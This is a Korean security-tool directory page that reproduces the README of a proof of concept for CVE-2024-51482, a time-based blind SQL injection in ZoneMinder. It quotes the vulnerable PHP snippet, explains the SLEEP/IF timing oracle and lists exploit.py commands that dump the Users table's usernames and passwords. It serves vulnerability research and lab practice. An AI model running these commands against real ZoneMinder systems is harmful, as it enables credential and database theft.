Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-51482-POC — ZoneMinder의 CVE-2024-51482에 대한 시간 기반 SQL 인젝션 PoC로, 재현 가능한 Docker 실험 환경과 자동화된 데이터 추출 기능을 제공합니다. | Kitploit
도구/GitHubGitHub/0xdaeras/cve-2024-51482-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase SecurityLabs & Practice
GitHub0xdaeras/cve-2024-51482-poc

CVE-2024-51482-POC

ZoneMinder의 CVE-2024-51482에 대한 시간 기반 SQL 인젝션 PoC로, 재현 가능한 Docker 실험 환경과 자동화된 데이터 추출 기능을 제공합니다.

저장소 보기
7195개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

ZoneMinder 인증된 시간 기반 SQLi PoC - CVE-2024-51482

CVE-1 CVSS Python

⚠️ 교육 목적 및 공인된 보안 연구용입니다. 소유하지 않거나 서면 허가 없이 테스트할 권한이 없는 시스템에 대해 이 도구를 실행하는 것은 불법입니다.


목차

  • ZoneMinder 인증된 시간 기반 SQLi PoC - CVE-2024-51482
    • 목차
    • 개요
    • 취약점 세부 정보
      • CVE-2024-51482 — 시간 기반 블라인드 SQL 인젝션
      • 근본 원인
      • 공격 흐름
    • 저장소 구조
    • 요구 사항
    • 설치
      • PoC
      • Docker 실습 환경
    • 사용법
      • 기본 동작
      • 도움말 화면
      • 명령어
      • 출력 옵션
      • 플래그 참조
      • 전체 예제
      • 참고 사항
      • Docker 실습 환경
    • 출력 예시
    • 수정 방법
      • 해당 CVE에 대하여
      • 유사한 취약점에 대하여
    • 공개 타임라인
    • 참조

개요

이 저장소는 ZoneMinder를 대상으로 하는 시간 기반 SQL 인젝션 PoC를 포함합니다.

도구의 기능:

  • 취약점 확인
  • 데이터베이스 열거
  • 테이블 및 컬럼 검색
  • 전체 테이블 덤프
  • CSV 내보내기

또한 안전한 테스트를 위한 완전히 재현 가능한 Docker 실습 환경을 제공합니다.


취약점 세부 정보

CVE-2024-51482 — 시간 기반 블라인드 SQL 인젝션

  • CVE ID: CVE-2024-51482
  • CVSS v3.1 점수: 10.0 (Critical)
  • 취약점 유형: 시간 기반 블라인드 SQL 인젝션
  • 영향받는 버전: ZoneMinder v1.37.* <= 1.37.64
  • 공격 벡터: 인증이 필요한 엔드포인트 (removetag)
  • 영향: 전체 데이터베이스 노출, 데이터 무결성 손상
  • 인증 필요: 예 (낮은 권한의 사용자로 충분)

근본 원인

ZoneMinder는 무료 오픈 소스 폐쇄회로 텔레비전 소프트웨어 애플리케이션입니다. 취약점은 ZoneMinder의 removetag 엔드포인트에서 입력 검증이 충분하지 않아 발생합니다. 사용자 제공 입력이 적절한 살균 또는 매개변수화 없이 SQL 쿼리에 직접 포함되어, 공격자가 악의적인 boolean 기반 SQL 페이로드를 주입할 수 있습니다. 익스플로잇은 다음을 활용합니다:

SLEEP(x - IF(condition, 0, x))

응답 시간을 통해 데이터를 추론합니다.

Github 유지보수자 권고의 취약한 코드 스니펫:

case 'removetag' :
    $tagId = $_REQUEST['tid'];
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
    $rowCount = dbNumRows($sql);
    if ($rowCount < 1) {
      $sql = 'DELETE FROM Tags WHERE Id = ?';
      $values = array($_REQUEST['tid']);
      $response = dbNumRows($sql, $values);
      ajaxResponse(array('response'=>$response));
    }

공격 흐름

공격자                              ZoneMinder 웹 애플리케이션
   │                                         │
   │  [인증]                                 │
   │  POST /zm/index.php                     │
   │  {username, password}                   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  200 OK + Set-Cookie: ZMSESSID=...      │  ← 인증된 세션
   │                                         │
   │  [CVE-2024-51482]                       │
   │  GET /zm/index.php                      │
   │  ?view=request&request=event            │
   │  &action=removetag&tid=<payload>        │
   │────────────────────────────────────────►│
   │                               SQL boolean 쿼리 실행
   │                               IF(조건, 지연 없음, SLEEP)
   │◄────────────────────────────────────────│
   │  지연된 응답 (시간 오라클)               │  ← 조건 추론
   │                                         │
   │  요청 반복                              │
   │  ASCII(SUBSTRING(query,pos,1))          │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  시간 차이로 문자 하나씩 추출           │
   │                                         │
   │  각 문자에 대해 이진 탐색              │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  추출된 데이터 (한 번에 1문자)          │
   │                                         │
   │  SELECT Username, Password FROM Users   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  전체 데이터베이스 노출                 │
   │                                         │
   ✓  블라인드 SQLi를 통한 완전한 데이터 유출

저장소 구조

CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│   ├── Dockerfile
│   └── entrypoint.sh
└── logs/

요구 사항

  • Python 3.8+
  • requests
  • Docker 및 docker-compose (실습 환경용)

설치

PoC

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt

Docker 실습 환경

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # 환경 변수 설정
docker compose up -d

사용법

기본 동작

플래그 없이 실행하면 도구가 대상에 인증하고 취약점을 확인한 후, 취약할 경우 zm.Users 테이블에서 ID, Username, Password, Name, Email 컬럼을 덤프합니다 (dump-users 명령).

python exploit.py -t http://target/zm -u <username> -p <password>

도움말 화면

python exploit.py -h

명령어

check

대상이 취약한지만 확인합니다.

python exploit.py -t http://target/zm -u <username> -p <password> check

dump-users

zm.Users 테이블에서 ID, Username, Password, Name, Email 컬럼을 덤프합니다. 명령어가 지정되지 않은 경우 기본 명령어입니다.

python exploit.py -t http://target/zm -u <username> -p <password> dump-users

list-db

모든 데이터베이스를 나열합니다.

python exploit.py -t http://target/zm -u <username> -p <password> list-db

list-tables

지정된 데이터베이스의 테이블을 나열합니다.

python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>

list-columns

지정된 테이블의 컬럼을 나열합니다.

python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>

dump-table

지정된 테이블의 모든 데이터를 덤프합니다.

python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>

덤프할 컬럼을 지정할 수도 있습니다 (기본값은 전체):

python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2

출력 옵션

터미널 출력 비활성화

--no-display

CSV로 내보내기

파일이 존재하지 않으면 생성됩니다. 이미 존재하면 새 결과가 추가됩니다.

--outfile results.csv

플래그 참조

대상 및 인증

플래그설명예제
-t, --target대상 기본 URL-t http://localhost:8080
-u, --user인증용 사용자 이름-u admin
-p, --password인증용 비밀번호-p admin
--cookie로그인 대신 기존 ZMSESSID 쿠키 사용--cookie abc123...

핵심 명령어

도구 다운로드